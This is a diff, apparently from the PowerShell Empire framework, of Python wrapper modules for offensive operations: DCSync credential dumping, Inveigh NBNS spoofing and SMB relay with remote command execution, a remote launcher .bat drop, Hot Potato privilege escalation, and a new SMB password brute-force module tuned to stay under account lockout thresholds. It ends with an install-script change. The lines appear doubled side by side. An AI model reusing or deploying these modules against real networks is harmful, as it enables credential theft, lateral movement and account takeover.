# save off a copy of the mainMenu object to access external functionality # save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc. # like listeners/agent handlers/etc.
self.mainMenu = mainMenu self.mainMenu = mainMenu
for param in params: for param in params:
# parameter format is [Name, Value] # parameter format is [Name, Value]
option, value = param option, value = param
@ -141,7 +141,7 @@ class Module:
def generate(self): def generate(self):
# read in the common module source code # read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Invoke-InveighBruteForce.ps1" moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Invoke-InveighBruteForce.ps1"

View File

@ -92,7 +92,7 @@ class Module:
script += "Invoke-DCSync -PWDumpFormat " script += "Invoke-DCSync -PWDumpFormat "
if self.options["Domain"]['Value'] != '': if self.options["Domain"]['Value'] != '':
script += " -Domain " + self.options['domain']['Value'] script += " -Domain " + self.options['Domain']['Value']
if self.options["Forest"]['Value'] != '': if self.options["Forest"]['Value'] != '':
script += " -DumpForest " script += " -DumpForest "

View File

@ -10,22 +10,22 @@ class Module:
'Author': ['Kevin Robertson'], 'Author': ['Kevin Robertson'],
'Description': ('Inveigh\'s SMB relay function. This module can be used to relay ' 'Description': ('Inveigh\'s SMB relay function. This module can be used to relay '
'incoming HTTP NTLMv2 authentication requests to an SMB target. ' 'incoming HTTP NTLMv2 authentication requests to an SMB target. '
'If the authentication is successfully relayed and the account is ' 'If the authentication is successfully relayed and the account is '
'a local administrator, a specified command will be executed on the ' 'a local administrator, a specified command will be executed on the '
'target PSExec style. This module works best while also running ' 'target PSExec style. This module works best while also running '
'collection/inveigh with HTTP disabled.'), 'collection/inveigh with HTTP disabled.'),
'Background' : True, 'Background' : True,
'OutputExtension' : None, 'OutputExtension' : None,
'NeedsAdmin' : True, 'NeedsAdmin' : True,
'OpsecSafe' : False, 'OpsecSafe' : False,
'MinPSVersion' : '2', 'MinPSVersion' : '2',
'Comments': [ 'Comments': [
'https://github.com/Kevin-Robertson/Inveigh' 'https://github.com/Kevin-Robertson/Inveigh'
] ]
@ -40,17 +40,17 @@ class Module:
'Required' : True, 'Required' : True,
'Value' : '' 'Value' : ''
}, },
'SMBRelayTarget' : { 'SMBRelayTarget' : {
'Description' : 'IP address of system to target for SMB relay.', 'Description' : 'IP address of system to target for SMB relay.',
'Required' : True, 'Required' : True,
'Value' : '' 'Value' : ''
}, },
'SMBRelayCommand' : { 'SMBRelayCommand' : {
'Description' : 'Command to execute on SMB relay target. Do not wrap in quotes and use PowerShell character escapes where necessary.', 'Description' : 'Command to execute on SMB relay target. Do not wrap in quotes and use PowerShell character escapes where necessary.',
'Required' : True, 'Required' : True,
'Value' : '' 'Value' : ''
}, },
'SMBRelayUsernames' : { 'SMBRelayUsernames' : {
'Description' : 'Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format.', 'Description' : 'Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format.',
'Required' : False, 'Required' : False,
'Value' : '' 'Value' : ''
@ -60,17 +60,17 @@ class Module:
'Required' : False, 'Required' : False,
'Value' : 'Y' 'Value' : 'Y'
}, },
'RunTime' : { 'RunTime' : {
'Description' : 'Run time duration in minutes.', 'Description' : 'Run time duration in minutes.',
'Required' : False, 'Required' : False,
'Value' : '' 'Value' : ''
} }
} }
# save off a copy of the mainMenu object to access external functionality # save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc. # like listeners/agent handlers/etc.
self.mainMenu = mainMenu self.mainMenu = mainMenu
for param in params: for param in params:
# parameter format is [Name, Value] # parameter format is [Name, Value]
option, value = param option, value = param
@ -79,7 +79,7 @@ class Module:
def generate(self): def generate(self):
# read in the common module source code # read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/lateral_movement/Invoke-InveighRelay.ps1" moduleSource = self.mainMenu.installPath + "/data/module_source/lateral_movement/Invoke-InveighRelay.ps1"

View File

@ -137,7 +137,7 @@ class Module:
launcherCode = l.generate() launcherCode = l.generate()
# PowerShell code to write the launcher.bat out # PowerShell code to write the launcher.bat out
script += "$tempLoc = \"$env:temp\debug.bat\"" script += "$tempLoc = \"$env:public\debug.bat\""
script += "\n$batCode = @\"\n" + launcherCode + "\"@\n" script += "\n$batCode = @\"\n" + launcherCode + "\"@\n"
script += "$batCode | Out-File -Encoding ASCII $tempLoc ;\n" script += "$batCode | Out-File -Encoding ASCII $tempLoc ;\n"
script += "\"Launcher bat written to $tempLoc `n\";\n" script += "\"Launcher bat written to $tempLoc `n\";\n"
@ -150,6 +150,6 @@ class Module:
if(domain and domain != ""): if(domain and domain != ""):
script += "-Domain %s " %(domain) script += "-Domain %s " %(domain)
script += "-Cmd \"$env:temp\debug.bat\"" script += "-Cmd \"$env:public\debug.bat\""
return script return script

View File

@ -10,18 +10,18 @@ class Module:
'Author': ['Kevin Robertson'], 'Author': ['Kevin Robertson'],
'Description': ('Tater is a PowerShell implementation of the Hot Potato ' 'Description': ('Tater is a PowerShell implementation of the Hot Potato '
'Windows Privilege Escalation exploit from @breenmachine and @foxglovesec.'), 'Windows Privilege Escalation exploit from @breenmachine and @foxglovesec.'),
'Background' : True, 'Background' : True,
'OutputExtension' : None, 'OutputExtension' : None,
'NeedsAdmin' : False, 'NeedsAdmin' : False,
'OpsecSafe' : False, 'OpsecSafe' : False,
'MinPSVersion' : '2', 'MinPSVersion' : '2',
'Comments': [ 'Comments': [
'https://github.com/Kevin-Robertson/Tater' 'https://github.com/Kevin-Robertson/Tater'
] ]
@ -31,77 +31,77 @@ class Module:
self.options = { self.options = {
# format: # format:
# value_name : {description, required, default_value} # value_name : {description, required, default_value}
'Agent' : { 'Agent' : {
'Description' : 'Agent to run module on.', 'Description' : 'Agent to run module on.',
'Required' : True, 'Required' : True,
'Value' : '' 'Value' : ''
}, },
'IP' : { 'IP' : {
'Description' : 'Specific local IP address for NBNS spoofer.', 'Description' : 'Specific local IP address for NBNS spoofer.',
'Required' : False, 'Required' : False,
'Value' : '' 'Value' : ''
}, },
'SpooferIP' : { 'SpooferIP' : {
'Description' : 'IP address included in NBNS response. This is needed when using two hosts to get around an in-use port 80 on the privesc target.', 'Description' : 'IP address included in NBNS response. This is needed when using two hosts to get around an in-use port 80 on the privesc target.',
'Required' : False, 'Required' : False,
'Value' : '' 'Value' : ''
}, },
'Command' : { 'Command' : {
'Description' : 'Command to execute during privilege escalation. Do not wrap in quotes and use PowerShell character escapes where necessary.', 'Description' : 'Command to execute during privilege escalation. Do not wrap in quotes and use PowerShell character escapes where necessary.',
'Required' : True, 'Required' : True,
'Value' : '' 'Value' : ''
}, },
'NBNS' : { 'NBNS' : {
'Description' : 'Enable/Disable NBNS bruteforce spoofing (Y/N).', 'Description' : 'Enable/Disable NBNS bruteforce spoofing (Y/N).',
'Required' : False, 'Required' : False,
'Value' : 'Y' 'Value' : 'Y'
}, },
'NBNSLimit' : { 'NBNSLimit' : {
'Description' : 'Enable/Disable NBNS bruteforce spoofer limiting to stop NBNS spoofing while hostname is resolving correctly (Y/N).', 'Description' : 'Enable/Disable NBNS bruteforce spoofer limiting to stop NBNS spoofing while hostname is resolving correctly (Y/N).',
'Required' : False, 'Required' : False,
'Value' : 'Y' 'Value' : 'Y'
}, },
'Trigger' : { 'Trigger' : {
'Description' : 'Trigger type to use in order to trigger HTTP to SMB relay. 0 = None, 1 = Windows Defender Signature Update, 2 = Windows 10 Webclient/Scheduled Task', 'Description' : 'Trigger type to use in order to trigger HTTP to SMB relay. 0 = None, 1 = Windows Defender Signature Update, 2 = Windows 10 Webclient/Scheduled Task',
'Required' : False, 'Required' : False,
'Value' : '1' 'Value' : '1'
}, },
'ExhaustUDP' : { 'ExhaustUDP' : {
'Description' : 'Enable/Disable UDP port exhaustion to force all DNS lookups to fail in order to fallback to NBNS resolution (Y/N).', 'Description' : 'Enable/Disable UDP port exhaustion to force all DNS lookups to fail in order to fallback to NBNS resolution (Y/N).',
'Required' : False, 'Required' : False,
'Value' : 'N' 'Value' : 'N'
}, },
'HTTPPort' : { 'HTTPPort' : {
'Description' : 'TCP port for the HTTP listener.', 'Description' : 'TCP port for the HTTP listener.',
'Required' : False, 'Required' : False,
'Value' : '80' 'Value' : '80'
}, },
'Hostname' : { 'Hostname' : {
'Description' : 'Hostname to spoof. WPAD.DOMAIN.TLD may be required by Windows Server 2008.', 'Description' : 'Hostname to spoof. WPAD.DOMAIN.TLD may be required by Windows Server 2008.',
'Required' : False, 'Required' : False,
'Value' : 'WPAD' 'Value' : 'WPAD'
}, },
'WPADDirectHosts' : { 'WPADDirectHosts' : {
'Description' : 'Comma separated list of hosts to include as direct in the wpad.dat file. Note that localhost is always listed as direct. Add the Empire host to avoid catching Empire HTTP traffic.', 'Description' : 'Comma separated list of hosts to include as direct in the wpad.dat file. Note that localhost is always listed as direct. Add the Empire host to avoid catching Empire HTTP traffic.',
'Required' : False, 'Required' : False,
'Value' : '' 'Value' : ''
}, },
'WPADPort' : { 'WPADPort' : {
'Description' : 'Proxy server port to be included in the wpad.dat file.', 'Description' : 'Proxy server port to be included in the wpad.dat file.',
'Required' : False, 'Required' : False,
'Value' : '80' 'Value' : '80'
}, },
'TaskDelete' : { 'TaskDelete' : {
'Description' : 'Enable/Disable scheduled task deletion for trigger 2. If enabled, a random string will be added to the taskname to avoid failures after multiple trigger 2 runs.', 'Description' : 'Enable/Disable scheduled task deletion for trigger 2. If enabled, a random string will be added to the taskname to avoid failures after multiple trigger 2 runs.',
'Required' : False, 'Required' : False,
'Value' : 'Y' 'Value' : 'Y'
}, },
'Taskname' : { 'Taskname' : {
'Description' : 'Scheduled task name to use with trigger 2. If you observe that Tater does not work after multiple trigger 2 runs, try changing the taskname.', 'Description' : 'Scheduled task name to use with trigger 2. If you observe that Tater does not work after multiple trigger 2 runs, try changing the taskname.',
'Required' : False, 'Required' : False,
'Value' : 'Empire' 'Value' : 'Empire'
}, },
'RunTime' : { 'RunTime' : {
'Description' : 'Run time duration in minutes.', 'Description' : 'Run time duration in minutes.',
'Required' : False, 'Required' : False,
'Value' : '' 'Value' : ''
@ -111,7 +111,7 @@ class Module:
# save off a copy of the mainMenu object to access external functionality # save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc. # like listeners/agent handlers/etc.
self.mainMenu = mainMenu self.mainMenu = mainMenu
for param in params: for param in params:
# parameter format is [Name, Value] # parameter format is [Name, Value]
option, value = param option, value = param
@ -120,7 +120,7 @@ class Module:
def generate(self): def generate(self):
# read in the common module source code # read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-Tater.ps1" moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-Tater.ps1"

View File

@ -0,0 +1,130 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
# metadata info about the module, not modified during runtime
self.info = {
# name for the module that will appear in module menus
'Name': 'Invoke-SMBAutoBrute',
# list of one or more authors for the module
'Author': ['@curi0usJack'],
# more verbose multi-line description of the module
'Description': ('Runs an SMB brute against a list of usernames/passwords. '
'Will check the DCs to interrogate the bad password count of the '
'users and will keep bruting until either a valid credential is '
'discoverd or the bad password count reaches one below the threshold. '
'Run "shell net accounts" on a valid agent to determine the lockout '
'threshold. VERY noisy! Generates a ton of traffic on the DCs.' ),
# True if the module needs to run in the background
'Background' : True,
# File extension to save the file as
'OutputExtension' : None,
# True if the module needs admin rights to run
'NeedsAdmin' : False,
# True if the method doesn't touch disk/is reasonably opsec safe
'OpsecSafe' : False,
# The minimum PowerShell version needed for the module to run
'MinPSVersion' : '2',
# list of any references/other comments
'Comments': [
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
# The 'Agent' option is the only one that MUST be in a module
'Description' : 'Agent to grab a screenshot from.',
'Required' : True,
'Value' : ''
},
'UserList' : {
'Description' : 'File of users to brute (on the target), one per line. If not specified, autobrute will query a list of users with badpwdcount < LockoutThreshold - 1 for each password brute. Wrap path in double quotes.',
'Required' : False,
'Value' : ''
},
'PasswordList' : {
'Description' : 'Comma separated list of passwords to test. Wrap in double quotes.',
'Required' : True,
'Value' : ''
},
'ShowVerbose' : {
'Description' : 'Show failed attempts & skipped accounts in addition to success.',
'Required' : False,
'Value' : ''
},
'LockoutThreshold' : {
'Description' : 'The max number of bad password attempts until the account locks. Autobrute will try till one less than this setting.',
'Required' : True,
'Value' : ''
},
'Delay' : {
'Description' : 'Amount of time to wait (in milliseconds) between attempts. Default 100.',
'Required' : False,
'Value' : ''
},
'StopOnSuccess' : {
'Description' : 'Quit running after the first successful authentication.',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
# During instantiation, any settable option parameters
# are passed as an object set to the module and the
# options dictionary is automatically set. This is mostly
# in case options are passed on the command line
if params:
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# use the pattern below
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-SMBAutoBrute.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
scriptcmd = "Invoke-SMBAutoBrute"
# add any arguments to the end execution of the script
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
scriptcmd += " -" + str(option)
else:
scriptcmd += " -" + str(option) + " " + str(values['Value'])
script += scriptcmd
#print helpers.color(scriptcmd)
return script

View File

@ -17,29 +17,22 @@ if lsb_release -d | grep -q "Fedora"; then
pip install flask pip install flask
elif lsb_release -d | grep -q "Kali"; then elif lsb_release -d | grep -q "Kali"; then
Release=Kali Release=Kali
apt-get install -y python-dev apt-get install -y python-dev python-m2crypto swig python-pip
apt-get install -y python-m2crypto
apt-get install -y swig
apt-get install -y python-pip
pip install pycrypto pip install pycrypto
pip install iptools pip install iptools
pip install pydispatcher pip install pydispatcher
pip install flask pip install flask
elif lsb_release -d | grep -q "Ubuntu"; then elif lsb_release -d | grep -q "Ubuntu"; then
Release=Ubuntu Release=Ubuntu
apt-get install -y python-dev apt-get install -y python-dev python-m2crypto swig python-pip
apt-get install -y python-m2crypto
apt-get install -y swig
apt-get install -y python-pip
pip install pycrypto pip install pycrypto
pip install iptools pip install iptools
pip install pydispatcher pip install pydispatcher
pip install flask pip install flask
pip install pyOpenSSL
else else
echo "Unknown distro - Debian/Ubuntu Fallback" echo "Unknown distro - Debian/Ubuntu Fallback"
apt-get install -y python-dev apt-get install -y python-dev python-m2crypto swig python-pip
apt-get install -y python-m2crypto
apt-get install -y swig
pip install pycrypto pip install pycrypto
pip install iptools pip install iptools
pip install pydispatcher pip install pydispatcher